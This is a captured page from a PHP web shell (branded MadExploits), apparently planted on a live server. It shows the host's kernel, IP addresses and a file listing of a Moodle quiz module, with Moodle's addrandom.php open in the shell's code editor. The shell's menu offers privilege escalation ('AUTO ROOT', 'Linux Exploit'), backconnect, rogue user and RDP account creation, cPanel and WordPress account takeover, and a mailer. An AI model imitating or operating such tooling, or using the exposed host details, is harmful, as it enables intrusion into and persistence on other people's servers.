Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 108.162.216.82
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
quiz /
[ HOME SHELL ]
Name
Size
Permission
Action
accessrule
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
report
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
accessmanager.php
19.94
KB
-rw-r--r--
accessmanager_form.php
2.42
KB
-rw-r--r--
addrandom.php
4.93
KB
-rw-rw-r--
addrandomform.php
5.66
KB
-rw-rw-r--
attempt.php
5.11
KB
-rw-rw-r--
attemptlib.php
105.77
KB
-rw-rw-r--
autosave.ajax.php
2.48
KB
-rw-r--r--
comment.php
5.11
KB
-rw-r--r--
cronlib.php
4.73
KB
-rw-r--r--
deprecatedlib.php
4.88
KB
-rw-rw-r--
edit.php
7.94
KB
-rw-rw-r--
edit_rest.php
9.22
KB
-rw-r--r--
editrandom.php
6.11
KB
-rw-rw-r--
grade.php
3.52
KB
-rw-r--r--
index.php
5.88
KB
-rw-r--r--
lib.php
89.25
KB
-rw-rw-r--
locallib.php
100.59
KB
-rw-rw-r--
mod_form.php
31.04
KB
-rw-rw-r--
module.js
11.33
KB
-rw-rw-r--
override_form.php
11.36
KB
-rw-rw-r--
overridedelete.php
3.94
KB
-rw-rw-r--
overrideedit.php
8.06
KB
-rw-rw-r--
overrides.php
12.49
KB
-rw-rw-r--
processattempt.php
3.51
KB
-rw-r--r--
renderer.php
57.42
KB
-rw-rw-r--
repaginate.php
1.94
KB
-rw-r--r--
report.php
3.5
KB
-rw-rw-r--
review.php
9.53
KB
-rw-rw-r--
reviewquestion.php
4.35
KB
-rw-r--r--
settings.php
12.49
KB
-rw-rw-r--
startattempt.php
4.33
KB
-rw-r--r--
styles.css
24.91
KB
-rw-rw-r--
summary.php
3.54
KB
-rw-rw-r--
upgrade.txt
9.35
KB
-rw-rw-r--
version.php
1.02
KB
-rw-rw-r--
view.php
9.85
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : addrandom.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Fallback page of /mod/quiz/edit.php add random question dialog, * for users who do not use javascript. * * @package mod_quiz * @copyright 2008 Olli Savolainen * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/../../config.php'); require_once($CFG->dirroot . '/mod/quiz/locallib.php'); require_once($CFG->dirroot . '/mod/quiz/addrandomform.php'); require_once($CFG->dirroot . '/question/editlib.php'); require_once($CFG->dirroot . '/question/category_class.php'); list($thispageurl, $contexts, $cmid, $cm, $quiz, $pagevars) = question_edit_setup('editq', '/mod/quiz/addrandom.php', true); // These params are only passed from page request to request while we stay on // this page otherwise they would go in question_edit_setup. $returnurl = optional_param('returnurl', '', PARAM_LOCALURL); $addonpage = optional_param('addonpage', 0, PARAM_INT); $category = optional_param('category', 0, PARAM_INT); $scrollpos = optional_param('scrollpos', 0, PARAM_INT); // Get the course object and related bits. if (!$course = $DB->get_record('course', array('id' => $quiz->course))) { print_error('invalidcourseid'); } // You need mod/quiz:manage in addition to question capabilities to access this page. // You also need the moodle/question:useall capability somewhere. require_capability('mod/quiz:manage', $contexts->lowest()); if (!$contexts->having_cap('moodle/question:useall')) { print_error('nopermissions', '', '', 'use'); } $PAGE->set_url($thispageurl); if ($returnurl) { $returnurl = new moodle_url($returnurl); } else { $returnurl = new moodle_url('/mod/quiz/edit.php', array('cmid' => $cmid)); } if ($scrollpos) { $returnurl->param('scrollpos', $scrollpos); } $defaultcategoryobj = question_make_default_categories($contexts->all()); $defaultcategory = $defaultcategoryobj->id . ',' . $defaultcategoryobj->contextid; $qcobject = new question_category_object( $pagevars['cpage'], $thispageurl, $contexts->having_one_edit_tab_cap('categories'), $defaultcategoryobj->id, $defaultcategory, null, $contexts->having_cap('moodle/question:add')); $mform = new quiz_add_random_form(new moodle_url('/mod/quiz/addrandom.php'), array('contexts' => $contexts, 'cat' => $pagevars['cat'])); if ($mform->is_cancelled()) { redirect($returnurl); } if ($data = $mform->get_data()) { if (!empty($data->existingcategory)) { list($categoryid) = explode(',', $data->category); $includesubcategories = !empty($data->includesubcategories); if (!$includesubcategories) { // If the chosen category is a top category. $includesubcategories = $DB->record_exists('question_categories', ['id' => $categoryid, 'parent' => 0]); } $returnurl->param('cat', $data->category); } else if (!empty($data->newcategory)) { list($parentid, $contextid) = explode(',', $data->parent); $categoryid = $qcobject->add_category($data->parent, $data->name, '', true); $includesubcategories = 0; $returnurl->param('cat', $categoryid . ',' . $contextid); } else { throw new coding_exception( 'It seems a form was submitted without any button being pressed???'); } if (empty($data->fromtags)) { $data->fromtags = []; } $tagids = array_map(function($tagstrings) { return (int)explode(',', $tagstrings)[0]; }, $data->fromtags); quiz_add_random_questions($quiz, $addonpage, $categoryid, $data->numbertoadd, $includesubcategories, $tagids); quiz_delete_previews($quiz); quiz_update_sumgrades($quiz); redirect($returnurl); } $mform->set_data(array( 'addonpage' => $addonpage, 'returnurl' => $returnurl, 'cmid' => $cm->id, 'category' => $category, )); // Setup $PAGE. $streditingquiz = get_string('editinga', 'moodle', get_string('modulename', 'quiz')); $PAGE->navbar->add($streditingquiz); $PAGE->set_title($streditingquiz); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); if (!$quizname = $DB->get_field($cm->modname, 'name', array('id' => $cm->instance))) { print_error('invalidcoursemodule'); } echo $OUTPUT->heading(get_string('addrandomquestiontoquiz', 'quiz', $quizname), 2); $mform->display(); echo $OUTPUT->footer();
Close